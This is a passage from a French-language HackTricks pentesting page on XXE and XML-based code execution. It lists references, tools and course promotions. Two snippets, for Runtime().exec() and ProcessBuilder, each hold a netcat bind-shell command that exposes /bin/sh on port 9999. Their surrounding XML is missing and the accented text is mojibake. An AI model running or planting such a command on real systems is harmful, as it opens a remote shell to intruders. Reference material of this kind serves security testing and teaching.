l'exĂ©cution de code sur le serveur. ### Using Runtime().exec() ```xml /usr/bin/nc -l -p 9999 -e /bin/sh ``` ### ProcessBuilder ```xml /usr/bin/nc -l -p 9999 -e /bin/sh ``` ## Outils {% embed url="https://github.com/luisfontes19/xxexploiter" %} ## RĂ©fĂ©rences * [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\ * [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\ * Extraire des informations via HTTP en utilisant son propre DTD externe : [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\ * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\ * [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\ * [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\ * [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\ * [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
{% embed url="https://websec.nl/" %} {% hint style="success" %} Apprenez et pratiquez le hacking AWS :[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Apprenez et pratiquez le hacking GCP : [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Soutenir HackTricks * Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)! * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐩 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dĂ©pĂŽts github.
{% endhint %}